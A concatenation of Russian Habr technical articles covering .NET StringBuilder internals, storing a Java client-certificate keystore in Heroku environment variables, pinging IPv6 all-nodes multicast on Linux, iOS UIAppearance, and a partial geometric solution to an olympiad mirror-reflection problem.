StringBuilder.ThreadSafeCopy(value + count, this.m_ChunkChars, 0, num2);
this.m_ChunkLength = num2;
}
return this;
}
```
Метод Append() работает следующим образом: если в текущем элементе списка хватает символов для вставки новой строки, то происходит копирование в нее, если же нет, то копируется та часть которая помещается, а для того, что не поместилось, создается новый элемент списка (экземпляр StringBuilder-a), у которого длина массива равна длине всей исходной строки либо длине оставшейся строки в зависимости от того что больше. Однако, как было сказано, выше максимальная длина массива составляет 8000.
В общем, формула для вычисления длины нового элемента списка выглядит так:
```
int length = Math.Max(minBlockCharCount, Math.Min(this.Length, 8000))
```
где minBlockCharCount — оставшаяся длина строки после копирования ее части которая помещается в текущий экземпляр.
Таким образом, в результате работы такого кода
```
StringBuilder s = new StringBuilder ();
for (int i = 0; i < 10000; i++) {
s.Append ("T");
}
```
длины массивов у элементов списка будут равны: **8000**, 4092, 2048, 1024, 512, 256, 128, 64, 32, 16, 16.
При таких длинах массивов операция обращения к определенному символу в исходной строке выполняется достаточно быстро практически за O(1), так как элементов списка не так много.
##### *Метод Insert()*
**Исходный код**
```
public unsafe StringBuilder Insert(int index, string value)
{
if (value != null)
{
fixed (char* chPtr = value)
this.Insert(index, chPtr, value.Length);
}
return this;
}
private unsafe void Insert(int index, char* value, int valueCount)
{
if (valueCount <= 0)
return;
StringBuilder chunk;
int indexInChunk;
//Вставляет символы в строку при необходимости создавая новый элемент списка (StringBuilder)
this.MakeRoom(index, valueCount, out chunk, out indexInChunk, false);
this.ReplaceInPlaceAtChunk(ref chunk, ref indexInChunk, value, valueCount);
}
```
Метод Insert() работает следующим образом: если в текущем элементе списка(StringBuilder-е) хватает места для вставки, то имеющиеся символы сдвигаются, чтобы дать место новому тексту. Иначе же создается новый элемент списка (StringBuilder), в который копируется часть символов из предыдущего элемента, которые не поместились. Последующие символы не смещаются влево.
Что будет в результате такого кода?
```
StringBuilder s = new StringBuilder ();
for (int i = 0; i < 10000; i++) {
s.Insert (0, "T");
}
```
Результат будет отличаться от кода использующего Append(), причем весьма серьезно!
Мы получим очень большой список StringBuilder-ов каждый элемент, которого будет иметь длину 16 символов. В результате чего операция обращения к определенному символу по индексу будет выполняться медленней, чем ожидалось, а именно пропорционально длине списка, то есть O(n).
##### *Метод Remove()*
**Исходный код**
```
public StringBuilder Remove(int startIndex, int length)
{
if (this.Length == length && startIndex == 0)
{
// Оптимизация. Если мы удаляем всю строку.
this.Length = 0;
return this;
}
else
{
if (length > 0)
{
StringBuilder chunk;
int indexInChunk;
this.Remove(startIndex, length, out chunk, out indexInChunk);
}
return this;
}
}
private void Remove(int startIndex, int count, out StringBuilder chunk, out int indexInChunk)
{
int num = startIndex + count;
//Находим элементы списка(кусочки) в которых находятся начальный и конечный символ для удаления.
chunk = this;
StringBuilder stringBuilder = (StringBuilder) null;
int sourceIndex = 0;
while (true)
{
if (num - chunk.m_ChunkOffset >= 0)
{
if (stringBuilder == null)
{
stringBuilder = chunk;
sourceIndex = num - stringBuilder.m_ChunkOffset;
}
if (startIndex - chunk.m_ChunkOffset >= 0)
break;
}
else
chunk.m_ChunkOffset -= count;
chunk = chunk.m_ChunkPrevious;
}
indexInChunk = startIndex - chunk.m_ChunkOffset;
int destinationIndex = indexInChunk;
int count1 = stringBuilder.m_ChunkLength - sourceIndex;
//Если начальный и конечный кусочки не равны
if (stringBuilder != chunk)
{
destinationIndex = 0;
// Удаляем символы после startIndex до конца начального элемента списка(кусочка)
chunk.m_ChunkLength = indexInChunk;
// Удаляем символы между начальным и конечным кусочком.
stringBuilder.m_ChunkPrevious = chunk;
stringBuilder.m_ChunkOffset = chunk.m_ChunkOffset + chunk.m_ChunkLength;
// Если стартовый индекс для удаления ноль в начальном кусочке то мы можем выкинуть весь элемент списка(кусочек)
if (indexInChunk == 0)
{
stringBuilder.m_ChunkPrevious = chunk.m_ChunkPrevious;
chunk = stringBuilder;
}
}
stringBuilder.m_ChunkLength -= sourceIndex - destinationIndex;
if (destinationIndex == sourceIndex) // Иногда не требуется перемещения
return;
// Удаляем символы в конечном кусочке перемещая оставшиеся символы влево
StringBuilder.ThreadSafeCopy(stringBuilder.m_ChunkChars, sourceIndex, stringBuilder.m_ChunkChars, destinationIndex, count1);
}
```
Реализация данного метода существенно усложнилась. Однако надо учесть, что предыдущая реализация копировала большое количество символов, смещая их влево. Здесь же необходимо производить смещение только в пределах одного элемента (StringBuilder-а) в списке.
##### *Метод ToString()*
**Исходный код**
```
public override unsafe string ToString()
{
if (this.Length == 0)
return string.Empty;
string str = string.FastAllocateString(this.Length);
StringBuilder stringBuilder = this;
fixed (char* chPtr = str)
{
do
{
if (stringBuilder.m_ChunkLength > 0)
{
char[] chArray = stringBuilder.m_ChunkChars;
int num = stringBuilder.m_ChunkOffset;
int charCount = stringBuilder.m_ChunkLength;
fixed (char* smem = chArray)
string.wstrcpy(chPtr + num, smem, charCount);
}
stringBuilder = stringBuilder.m_ChunkPrevious;
}
while (stringBuilder != null);
}
return str;
}
```
Данный метод проходит по всему связному списку StringBuilder-ов и последовательно копирует символы каждого из элементов списка в результирующую строку.
#### Сравнение производительности
Пожалуй, самая интересная часть — это сравнение производительности между двумя версиями класса.
**Тест 1. Сколько требуется памяти для хранения строки заданной длины.**
Как видите, при небольшой длине строки новая реализация проигрывает старой. Оно и понятно, ведь для каждого элемента списка(StringBuilder) требуется информация о длине, емкости, смещении от начала строки + для массива символов overhead. Но как только длина строки становится больше 16384, старая реализация начинает проигрывать (из-за удвоения размера строки, она содержит много неиспользуемых символов).
**Тест 2. Метод Append()**
Пожалуй, это тот самый метод, в котором новая реализация побеждает. Поскольку при нехватке памяти теперь удваивать длину строки и копировать в нее символы не требуется, то данный метод выполняется значительно быстрее, **почти в два раза (точнее в 1,8 раз).**
**Тест 3. Метод Insert()**
Будем производить вставку в строку уже заполненную символами, длиною 1000 символов.
1. Вставка в начало строки
2. Вставка в середину строки
3. Вставка в конец строки
Комментарии излишне — новая реализация проигрывает при вставке в любое место.
**Тест 4. Метод Remove()**
Будем производить удаление 10 символов из строки уже заполненной символами до тех пор, пока не исчерпаем ее.
Новая реализация выигрывает при удалении почти из любого места, так как теперь не требуется смещать символы оставшейся строки влево (точнее требуется, но не так часто и много как раньше).
**Тест 5. Метод ToString()**
Как было сказано выше, данный метод проигрывает предыдущей реализации. Предыдущая реализация возвращала просто ссылку на строку, которой она оперировала (при первом вызове), а новая вынуждена собирать результирующую строку по кускам, обходя каждый элемент связного списка.
Новая реализация работает заметно медленнее, если строка формировалась с помощью метода Insert(), поскольку список будет состоять из множества элементов(StringBuilder-ов) длиною в 16 символов.
**Тест 6. Обращение по определенному индексу**
Учитывая, что теперь StringBuilder представляет собой связный список, операция обращения к строке по определенному индексу становится дорогостоящей. Особенно если он формировался с помощью метода Insert.
**Тест 7. Обычный сценарий: множество вызовов Append(), а затем вызов ToString()**
Как правило, мы работаем с данным классом по определенному сценарию: множественный вызов метода Append(), за которым следует один вызов ToString(). Реализации данного класса поменялась именно в расчете на данный сценарий.
#### Вывод
Как мы увидели, класс StringBuilder в .NET 2.0 был оптимизирован на быстроту работы метода ToString(), в то время как в .NET 4.0 на быстроту метода Append(). Новая реализация метода Append() работает почти в 2 раза быстрее, в то время как методы Insert() и ToString() работают медленнее. Но поскольку, мы работаем с данным классом по определенному сценарию: вызываем множественно раз метод Append(), за которым последует единственный вызов метода ToString(), то увеличение производительности имеет место.
Учитывая новую реализацию класса, при которой лишь множественный вызов метода Append() приводит к увеличению производительности, класс теперь можно было бы назвать StringAppender \*) | https://habr.com/ru/post/172689/ | null | ru | null |
# Управление клиентскими сертификатами в Heroku
Допустим, наше `Java` приложение размещено на платформе "Heroku", и ему требуется подключиться к HTTP серверу, требующему предоставление Клиентского Сертификата.
В этой статье мы рассмотрим вопросы безопасного размещения клиентских хранилищ ключей в `облаке`, используя `переменные окружения`.
* *Хранение паролей и других секретных данных в `переменных окружения` является распространённой практикой для приложений, размещённых в `облаке`.*
Обычно `приватные ключи` содержались в защищённых паролем файлах — контейнерах ключей, таких как `.p12` или `jks` на файловой системе.
Но проблема становится очевидна, как только становится необходимо разместить подобное приложение в `облаке`:
* Даже защищённые паролем `приватные ключи` не допустимо размещать в репозитории вместе с исходным кодом
* Тоже самое касается образов Docker и любых других подобных артефактов, доступных нескольким лицам
* *К счастью, это легко исправить в приложениях на `Java`!*
Рассмотрим предполагаемый процесс с точки зрения теории безопасности:
1. Офицер безопасности (о.б.) экспортирует `приватный ключ` как строку в кодировке `Base64`
2. О.б. заходит в `консоль управления облака` (в нашем случае в Heroku Dashboard)
3. О.б. импортирует строку в кодировке `Base64` в `переменную окружения`
4. Как часть автоматического процесса размещения приложения, эта же `переменная окружения` конвертируется в двоичные данные и записывается в физический файл
5. Путь к этому файлу передаётся приложению на этапе запуска
* *Теперь, только круг лиц, имеющих доступ к `консоли управления облака`, получают доступ к `приватному ключу`.*
Применим этот подход на практике:
* Язык: `Java`
* Платформа: `Heroku`
* Система сборки: `Gradle`
* Формат хранилища ключей: `PKCS12`
Экспорт файла .p12
------------------
Воспользуйтесь инструкцией, использующей средства, встроенные в Вашу операционную систему:
* [`Экспорт файла в Base64` используя коммандную строку (Windows, Linux)](https://www.igorkromin.net/index.php/2017/04/26/base64-encode-or-decode-on-the-command-line-without-installing-extra-tools-on-linux-windows-or-macos/)
* *Никогда не загружайте ваши `приватные ключи` на сторонние онлайн ресурсы*
Импорт в Heroku
---------------
* Зайдите в `Heroku`
* Перейдите в секцию `Settings` Вашего приложения
* Нажмите "Reveal the config vars"
* Добавьте следующие переменные окружения:
+ `keyStoreFileName` — любое незанятое имя файла, например "private\_key.p12"
+ `keyStoreBase64` — вставьте сюда значение строки закодированной в формате `Base64`, экспортированной в предыдущем шаге "Экспорт файла .p12"
+ `keyStorePassword` — пароль, ранее использовавшийся с файлом .p12
+ `keyStoreType` — в нашем случае `pkcs12`
+ `trustStoreType` — `jks`
Запись файла .p12 используя Gradle
----------------------------------
Добавьте нижеприведённое задание в Ваш файл `guild.gradle` и назначьте его исполнение перед задачей `stage`:
```
task initKeyStore() {
doLast {
println("Creating keystore file from environment variables.")
String keyStoreFileName = System.getenv("keyStoreFileName")
if (keyStoreFileName != null) {
String keyStoreBase64 = System.getenv("keyStoreBase64")
new File(keyStoreFileName).withOutputStream {
it.write(Base64.decoder.decode(keyStoreBase64))
}
}
}
}
stage.dependsOn(initKeyStore)
```
Передача реквизитов через "procfile" `Heroku`
---------------------------------------------
В "procfile" в `Heroku` не поддерживаются многострочные команды.
Поэтому, мы рекомендуем создать отдельный `shell скрипт` — `runApp.sh`.
runApp.sh:
```
java \
-Dserver.port=$PORT \
...
-Djavax.net.ssl.keyStoreType=$keyStoreType \
-Djavax.net.ssl.trustStoreType=$trustStoreType \
-Djavax.net.ssl.keyStore=$keyStoreFileName \
-Djavax.net.ssl.keyStorePassword=$keyStorePassword \
$JAVA_OPTS \
...
```
Не забудьте дать права на `выполнение` используя `git` и протолкнуть (push) подтверждение (commit):
```
git update-index --chmod=+x runApp.sh
git commit -m 'Добавление прав на выполнение runApp.sh'
git push origin master
```
Ограничения
-----------
В общей сложности `Heroku` позволяет хранить максимально 32 килобайта информации в `переменных окружения`.
Это накладывает некоторые ограничения, и вопрос их преодоления в настоящий момент прорабатывается в нашей организации.
Заключение
----------
* Теперь каждый раз, когда вы размещаете своё приложение в `Heroku`, `Gradle` автоматически создаёт хранилище ключей в виде файла `P12` на основе `переменной окружения`.
* Затем, используя `procfile`, платформа `Heroku` передаёт детали этого файла Вашему приложению.
* `Приватный ключ` становится доступным приложению, и может быть использован для `Клиентской аутентификации` как обычный файл `.p12` в `Java`
* Никаких изменений исторической кодовой базы приложения не требуется для поддержки этого подхода.
Спасибо за внимание! | https://habr.com/ru/post/491870/ | null | ru | null |
# Пинг всех узлов IPv6 на канале
***Считанные дни остаются до старта нового потока по курсу [«Сетевой инженер»](https://otus.pw/z93t/) от OTUS. В связи с этим хотим поделиться с вами переводом полезного материала по теме.***
---
Серия статей в блоге, посвященных советам и рекомендациям по устранению неполадок, связанных с пингом IPv6 (ICMPv6 Echo Request/Echo Reply)
Обратите внимание, что я использую Linux (в частности, Fedora 31), однако синтаксис команды ping для других операционных систем, надеюсь, должен быть очень похожим.
### Пинг всех узлов IPv6 на канале
Первый и самый простой совет — пропинговать все узлы IPv6 на канале.
IPv6 использует мультикаст-адреса для всех типов связи «один ко многим». Не существует бродкастных (или широковещательных) IPv6-адресов. Это отличает IPv6 от IPv4, где существует несколько типов бродкастных адресов, например, «limited broadcast» адрес 255.255.255.255 [RFC1122].
Однако существует “all-nodes multicast” (общий мультикаст) IPv6-адрес, поэтому мы будем использовать его для пинга всех узлов IPv6 в канале. («Широковещательный» адрес на самом деле является просто специально названным мультиакастным адресом, который является группой многоадресной рассылки, включающей все узлы. Обратите внимание, что, например, бит «группы» или мультикастного адреса включен в бродкастных адресах Ethernet на канальном уровне).
All-nodes multicast IPv6-адрес для канала: `ff02::1. ff` обозначает мультикастовый IPv6-адрес. Следующий 0 — это часть флага с неустановленными битами.
Далее `2` определяет область мультикастовой группы. В отличие от мультикаст IPv4-адресов, мультикаст IPv6-адреса имеют scope (область видимости). Значение scope указывает часть сети, по которой разрешено пересылать мультикастный пакет. Как только пакет достигает границы указанного scope, пакет должен быть отброшен, независимо от того, является ли его поле счетчика переходов (Hop Count) ненулевым. Конечно, если счетчик переходов достигает нуля до достижения указанной границы мультикастовой группы, он также немедленно сбрасывается. Вот полный список мультикаст scope IPv6.
Наконец, `::1` указывает all-nodes multicast группу.
Об адресе `ff02::1` следует заметить, что он неоднозначен. На узле IPv6 с несколькими интерфейсами, такими как маршрутизатор или многосетевой хост, в адресе `ff02::1` нет ничего, где бы можно было указать, какому интерфейсу отправлять эхо-запросы ICMPv6 или ожидать получения эхо-ответов ICMPv6, когда они приходят. `ff02::1` действителен и может использоваться на любом из интерфейсов и каналов, прикрепленных к многоинтерфейсному узлу.
Поэтому, когда мы пропингуем все узлы IPv6 на канале, нам нужно как-то также сообщить утилите `ping` для IPv6, какой интерфейс использовать.
### Определение интерфейсов — параметр командной строки
Как мы уже видели, all-nodes multicast адрес, который мы хотим использовать — `ff02::1` — не предоставляет никакой информации относительно того, на какой интерфейс отправлять и получать пакеты эхо-запроса и эхо-ответа ICMPv6.
Итак, как нам указать интерфейс, который будет использоваться для пространства мультикастовых адресов или юникастовых Link-Local адресов?
Первый и наиболее очевидный способ — предоставить его в качестве параметра для приложения, которое мы используем.
Для утилиты `ping` мы предоставляем его через опцию `-I`.
```
[mark@opy ~]$ ping -w 1 -I enp3s2 ff02::1
ping: Warning: source address might be selected on device other than: enp3s2
PING ff02::1(ff02::1) from :: enp3s2: 56 data bytes
64 bytes from fe80::1d36:1fff:fefd:82be%enp3s2: icmp_seq=1 ttl=64 time=0.438 ms
64 bytes from fe80::f31c:ccff:fe26:a6d9%enp3s2: icmp_seq=1 ttl=64 time=0.589 ms (DUP!)
64 bytes from fe80::7e31:f5ff:fe1b:9fdb%enp3s2: icmp_seq=1 ttl=64 time=5.15 ms (DUP!)
64 bytes from fe80::f7f8:15ff:fe6f:be6e%enp3s2: icmp_seq=1 ttl=64 time=58.0 ms (DUP!)
64 bytes from fe80::877d:4ff:fe1a:b881%enp3s2: icmp_seq=1 ttl=64 time=62.3 ms (DUP!)
64 bytes from fe80::877d:4ff:fe1a:ad79%enp3s2: icmp_seq=1 ttl=64 time=62.8 ms (DUP!)
--- ff02::1 ping statistics ---
1 packets transmitted, 1 received, +5 duplicates, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.438/31.544/62.786/29.566 ms
[mark@opy ~]$
```
С помощью этого all-nodes multicast пинга мы получили ответы от 6 IPv6-узлов. Ответы поступили от узловых Link-Local IPv6-адресов, начиная с префикса `fe80::/10`.
Чтобы `ping` не продолжал бесконечно отправлять эхо-запросы ICMPv6 до тех пор, пока мы не прервем его, мы обычно указываем количество пакетов для отправки через опцию -c. Однако это также не позволяет ping принять и отобразить более одного эхо-ответа ICMPv6 при отправке мультикаст эхо-запроса ICMPv6. Вместо этого мы использовали параметр -w, чтобы указать, что ping должен завершаться через 1 секунду, независимо от того, сколько эхо-запросов или эхо-ответов ICMPv6 было отправлено или получено.
Еще одна вещь, на которую следует обратить внимание, это (`DUP!`) вывод на втором и последующих ответах. Эти пакеты идентифицируются как дубликаты ответа, поскольку они имеют то же значение последовательности ICMP, что и отдельные эхо-запросы ICMPv6, которые были отправлены в первую очередь. Они появляются, потому что мультикаст эхо-запрос ICMPv6 приводит к нескольким индивидуальным юникаст ответам. Количество дубликатов также указывается в сводке статистики.
### Определение интерфейсов — Zone ID
Еще один способ предоставления интерфейса для использования — это часть параметра адреса IPv6.
Мы можем наблюдать пример этого в выводе ping, где адреса отвечающих IPv6-узлов также имеют суффикс `%enp3s2`, например:
```
64 bytes from fe80::1d36:1fff:fefd:82be%enp3s2: icmp_seq=1 ttl=64 time=0.438 ms
```
Этот способ задания интерфейсов формально описан в [RFC4007], «Архитектура с заданными адресами IPv6». Хотя обычно они называются интерфейсом операционной системы, они на самом деле определяют нечто более общее — «зона» или «область действия».
Причина наличия более общих зон или scope зон состоит в том, что, как упоминается в [RFC4007], узел IPv6 может иметь несколько различных интерфейсов IPv6, подключенных к одному и тому же каналу. Эти интерфейсы являются членами одной зоны.
Должно быть возможно сгруппировать несколько интерфейсов в пределах зоны под операционной системой; В настоящее время я не знаю, возможно ли это под Linux и как это сделать.
Используя суффикс `%`, мы можем удалить параметр командной строки `-I ping`.
```
[mark@opy ~]$ ping -w 1 ff02::1%enp3s2
PING ff02::1%enp3s2(ff02::1%enp3s2) 56 data bytes
64 bytes from fe80::2392:6213:a15b:66ff%enp3s2: icmp_seq=1 ttl=64 time=0.106 ms
64 bytes from fe80::1d36:1fff:fefd:82be%enp3s2: icmp_seq=1 ttl=64 time=0.453 ms (DUP!)
64 bytes from fe80::f31c:ccff:fe26:a6d9%enp3s2: icmp_seq=1 ttl=64 time=0.606 ms (DUP!)
64 bytes from fe80::7e31:f5ff:fe1b:9fdb%enp3s2: icmp_seq=1 ttl=64 time=6.23 ms (DUP!)
64 bytes from fe80::f7f8:15ff:fe6f:be6e%enp3s2: icmp_seq=1 ttl=64 time=157 ms (DUP!)
64 bytes from fe80::877d:4ff:fe1a:ad79%enp3s2: icmp_seq=1 ttl=64 time=159 ms (DUP!)
64 bytes from fe80::877d:4ff:fe1a:b881%enp3s2: icmp_seq=1 ttl=64 time=161 ms (DUP!)
64 bytes from fe80::23d:e8ff:feec:958c%enp3s2: icmp_seq=1 ttl=64 time=179 ms (DUP!)
--- ff02::1%enp3s2 ping statistics ---
1 packets transmitted, 1 received, +7 duplicates, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.106/82.858/179.216/81.281 ms
[mark@opy ~]$
```
### Ответы Link-Local адресов
От этого all-nodes multicast пинга мы получили в общей сложности 6 уникальных ответов.
Эти ответы поступили от юникаст Link-Local адресов узлов IPv6. Например, вот первый ответ:
```
64 bytes from fe80::2392:6213:a15b:66ff%enp3s2: icmp_seq=1 ttl=64 time=0.106 ms
```
Юникаст Link-Local IPv6-адреса требуются на всех интерфейсах с поддержкой IPv6 [RFC4291], «Архитектура адресации IP версии 6». Причина этого заключается в том, что узел IPv6 всегда автоматически имеет юникастовый IPv6-адрес, который он может использовать, по крайней мере, для связи с другими узлами по своим напрямую подключенным каналам. Это включает в себя связь с приложениями других хостов через Link-Local адреса хостов.
Это упрощает разработку и реализацию протоколов, таких как IPv6 Neighbor Discovery и OSPFv3. Это также позволяет приложениям конечных пользователей на хостах обмениваться данными по каналу, не требуя на канале какой-либо другой поддерживающей инфраструктуры IPv6. Для прямой связи подключенных хостов IPv6 не требуется маршрутизатор IPv6 или сервер DHCPv6 в соединении.
Адреса Link-Local начинаются с 10-битного префикса `fe80`, за которым следуют 54 нулевых бита, а затем 64-битный идентификатор интерфейса (IID). В приведенном выше первом ответе `2392:6213:a15b:66ff` — это 64-битный IID.
### Looped Multicast
По умолчанию мультикастовые пакеты возвращаются внутренне на узел, который их отправляет. Это происходит для обоих IPv6 и IPv4 адресаций.
Причиной этого дефолтного поведения является то, что при отправке мультикаст пакетов может также быть слушающее локальное мультикастовое приложение, работающее на самом отправляющем хосте, также как и где-то в сети. Это локальное приложение также должны получать мультикаст пакеты.
Мы можем видеть этот мультикастовый локальный цикл в нашем ping выводе:
```
[mark@opy ~]$ ping -w 1 ff02::1%enp3s2
PING ff02::1%enp3s2(ff02::1%enp3s2) 56 data bytes
64 bytes from fe80::2392:6213:a15b:66ff%enp3s2: icmp_seq=1 ttl=64 time=0.106 ms
64 bytes from fe80::1d36:1fff:fefd:82be%enp3s2: icmp_seq=1 ttl=64 time=0.453 ms (DUP!)
...
```
Первый и самый быстрый ответ (0,106 мс по сравнению с 0,453 мс) происходит от Link-Local адреса, настроенного на самом интерфейсе `enp3s2`.
```
[mark@opy ~]$ ip addr show dev enp3s2 | grep fe80
inet6 fe80::2392:6213:a15b:66ff/64 scope link noprefixroute
[mark@opy ~]$
```
Утилита `ping` предоставляет способ подавления локальной обратной связи мультикастовой рассылки с помощью параметра `-L`. Если мы отправляем пинг all-nodes multicast с этим флагом, то ответы ограничиваются удаленными узлами. Мы не получаем ответ от Link-Local адреса интерфейса отправителя.
```
[mark@opy ~]$ ping -L -w 1 ff02::1%enp3s2
PING ff02::1%enp3s2(ff02::1%enp3s2) 56 data bytes
64 bytes from fe80::1d36:1fff:fefd:82be%enp3s2: icmp_seq=1 ttl=64 time=0.383 ms
64 bytes from fe80::f31c:ccff:fe26:a6d9%enp3s2: icmp_seq=1 ttl=64 time=0.467 ms (DUP!)
...
```
### Пинг Link-Local Адреса
Как вы можете догадаться, юникастовые Link-Local адреса сами по себе также не предоставляют достаточно информации, чтобы указать, какой интерфейс использовать для их достижения. Как и в случае all-nodes multicast пинга, нам также необходимо указать интерфейс в качестве параметра командной строки `ping` или zone ID с адресом при пинге Link-Local адресов.
На этот раз мы можем использовать `-c`, чтобы ограничить количество пакетов и ответов, отправляемых и получаемых `ping`, поскольку мы выполняем юникастный пинг.
```
[mark@opy ~]$ ping -c 1 fe80::f31c:ccff:fe26:a6d9%enp3s2
PING fe80::f31c:ccff:fe26:a6d9%enp3s2(fe80::fad1:11ff:feb7:3704%enp3s2) 56 data bytes
64 bytes from fe80::f31c:ccff:fe26:a6d9%enp3s2: icmp_seq=1 ttl=64 time=0.395 ms
--- fe80::f31c:ccff:fe26:a6d9%enp3s2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.395/0.395/0.395/0.000 ms
[mark@opy ~]$
```
### Пинговать (все) другие IPv6-адреса?
В этой статье мы увидели, как пропинговать все IPv6-узлы на канале, используя all-nodes multicast IPv6-адрес `ff02::1`. Мы также видели, как указать, какой интерфейс использовать с all-nodes multicast IPv6-адресом, поскольку сам по себе адрес не может предоставить эту информацию. Мы использовали либо параметр командной строки `ping`, либо указали интерфейс через суффикс `%`.
Затем мы узнали об юникастовых Link-Local адресах, которые являются адресами, используемыми для ответов на all-nodes multicast эхо-запросы ICMPv6.
Мы также видели, как мультикаст пакеты возвращаются в отправляющий узел по умолчанию и как отключить это для утилиты `ping`.
Наконец, мы пропинговали единичный Link-Local адрес, используя суффикс `%`, так как Link-Local адреса сами по себе также не предоставляют информацию об исходящем интерфейсе.
Так как насчет пинга всех других узлов и получения их глобальных юникаст адресов (GUA) (то есть их общедоступных адресов в Интернете) или их уникальных локальных юникаст адресов (ULA)? Мы рассмотрим это в следующей статье блога.
На этом все.
Узнать подробнее о нашем курсе можно в [записи дня открытых дверей](https://otus.pw/z93t/). | https://habr.com/ru/post/489280/ | null | ru | null |
# UIAppearance. Управление внешним видом iOS-приложений
Стиль или Суть
Сообщение или Носитель
Риторика или Диалектика
Красота — это нечто поверхностное или же идущее из глубинных истин?
Что значит «хороший дизайн»?
Эстетические суждения относительны или абсолютны?
Это важные вопросы, которые обсуждались философами, художниками и поэтами на протяжении тысячелетий.
И пока мы продолжаем наши поиски красоты и понимания мира, рынок мобильных приложений в данной области однозначно утверждает:
**Пользователи платят за красивые приложения.**
При покупке iPhone, пользователь покупает также философию Apple: вещи должны не только хорошо работать, но и хорошо выглядеть. То же относится к разработке на iOS — некрасивый интерфейс пользователя сказывается и на программном коде.
Исторически даже для незначительного изменения внешнего вида приложения в iOS требовался набор хаков, сопряженных с опасностью отклонения приложения в AppStore. К счастью, начиная с iOS 5 у разработчиков есть новый инструмент: `UIAppearance`.
`UIAppearance` позволяет единообразно управлять стилем компонентов во всем приложении.
Для реализации этого с сохранением существующей структуры `UIKit` специалисты Apple реализовали достаточно интересное решение: `UIAppearance` — это протокол, предоставляющий прокси-объект, который используется для конфигурирования объектов конкретного класса. Почему именно прокси, а не свойство или метод самого `UIView`? Потому что существуют объекты, не входящие в иерархию `UIView`, такие как `UIBarButtonItem`, со своим собственным представлением. Внешний вид может быть изменен у всех компонентов определенного типа или только у привязанных к специфической иерархии:
* `+appearance` возвращает прокси-объект для данного класса элементов.
* `+appearanceWhenContainedIn:(Class )ContainerClass,...: возвращает прокси-объект для объектов, находящихся в определенном контейнере.`
.
Дух перфекционизма жив и в iOS. Сообщество постоянно развивает систему в сфере пользовательского взаимодействия. Это делает разработку под iOS более сложной, но и гораздо более приятной.
Не соглашайтесь на полумеры.
Делайте свои приложения прекрасными от внешнего вида до реализации. | https://habr.com/ru/post/190858/ | null | ru | null |
# Разбор задачи «Зеркало в коридоре» и негодование
Хочу более подробно разобрать задачу из публикации [«Олимпиады по программированию среди школьников»](http://habrahabr.ru/company/cognitive/blog/250349/), а также показать, что она действительно нетривиальная. Хотя в результате программа и состоит из трех присваиваний и двух сравнений, прийти к этому результату не так уж и просто, тем более, если нет под рукой справочника по аналитической геометрии.
Итак, сразу договоримся, что всяческих округлений и погрешностей, связанных с представлением чисел с плавающей точкой, у нас не будет. Работать будем исключительно с целочисленными переменными, для этого прибегнем к очевидным хитростям. Хотя, на самом деле, здесь будет мало программирования и много математики. В этой работе использованы справочные материалы по ВУЗовской математике, а точнее один параграф из главы «Основы линейной алгебры и аналитической геометрии» [1].
Для начала напомню текст задачи:
> Простуженный Петя лежал в постели, как вдруг кто-то открыл дверь. Пете было лень вставать и он посмотрел в зеркало, чтобы увидеть кто пришёл. Известны координаты вошедшего (его можно считать материальной точкой), необходимо узнать, удасться ли Пете увидеть отражение вошедшего в зеркале. Зеркало имеет форму круга с центром в начале координат и расположено в плоскости ax + by + cz = 0. Петю тоже можно считать материальной точкой. Гарантируется, что Петя и незнакомец не лежат в плоскости зеркала и что Петя всегда видит отражающую сторону зеркала. Если изображение попадает на границу зеркала, то Петя видит вошедшего. Так как и Петю и вошедшего можно считать материальными точками, Петя может увидеть отражение вошедшего как сквозь вошедшего, так и сквозь свое собственное отражение.
Что ж, «в лоб» к этой задаче не подступиться, разбор в указанном топике тоже не особо что-то «разжевывает». Поэтому я предлагаю упростить задачу и решить ее для двумерного пространства, а потом по аналогии перейти уже к трехмерному.
Можно, конечно, рассмотреть даже и одномерный вариант, но смысла в нем мало, ибо зеркало превращается в точку и Петр увидит вошедшего только в том случае, когда они находятся по одну сторону от зеркала, т.е. если их координата имеет одинаковый знак.
Вычертим иллюстрацию к задаче:
Обозначим Петю точкой *S*, незнакомца точкой *T*, зеркало — отрезок прямой 
Исходные данные: *R* — радиус зеркала, коэффициенты *A* и *B*;
 — координаты вошедшего;
 — координаты Петра.
Алгоритм решения следующий:
— Через точку *T* проводим прямую, перпендикулярную *PQ*;
— На этой прямой отмечаем точку *T`* симметричную точке *T* относительно *PQ* — это будет изображение вошедшего, которое увидит (или не увидит) Петя;
— Проведем прямую *ST`*;
— Найдем точку пересечения *PQ* и *ST`*;
— Проверим, принадлежит ли данная точка отрезку *PQ*
Итак, уравнение прямой, проходящей через точку *T* перпендикулярно  выглядит следующим образом:
 или 
Точка пересечения *TT`* и *PQ* является решением системы уравнений:
Домножим уравнения на *A* и *B* соответственно и сложим между собой:
Найденная точка  — проекция точки *T* на прямую *PQ*
Определим координаты точки *T`*:
Два шага позади. Найдем уравнение прямой *ST`*:
 или 
Подставим выражения для координат *T`*:
Уходим к целочисленному исчислению — умножаем уравнение на :
Самое время ввести замену:
тогда уравнение *ST`* принимает вид: 
Точка пересечения *PQ* и *ST`* является решением системы:
Ну и, наконец, расстояние от центра координат до найденной точки: 
Уходим от радикалов: 
Теперь, если найденное *R'* будет не более заданного *R*, то наш несчастный Петр увидит все-таки вошедшего незнакомца.
В сравнении  обе части неравенства умножим на заведомо положительное (т.к. четная степень) 
т.е. нас интересует истинность выражения 
К чему я все это так подробно расписываю? Просто для того, чтобы показать какой объем работ должен проделать участник олимпиады для решения этой задачи, а ведь все эти формулы перпендикулярных прямых не входят в школьный курс математики, участник должен сам до них дойти логическим путем? При этом ему на эту задачу отведено в среднем 30 минут. Так ведь задача-то еще и не решена на самом-то деле. Во-первых надо все тоже самое проделать для трехмерного пространства, что еще более трудоемко, а во-вторых здесь не рассмотрено находятся ли мальчик и его гость по одну сторону от зеркала…
Чтож, нам-то цейтнот не грозит, поэтому продолжим.
Разберемся с «зазеркальем».
У меня такое решение (хотя оно тоже не сразу пришло в голову, сначала я думал о переходе к системе координат связанной с прямой зеркала, но там «некрасивые» тригонометрические функции) — через точки *S* и *T* проведем прямые параллельные заданной . Параллельные прямые имеют кратные коэффициенты при *x* и *y*, т.е. , разница только в свободном члене. Мы ничего выдумывать не будем и возьмем эти коэффициенты равными заданным *A* и *B*.
Тогда уравнение прямой, проходящей через точку *S* параллельно *PQ* имеет вид:  или 
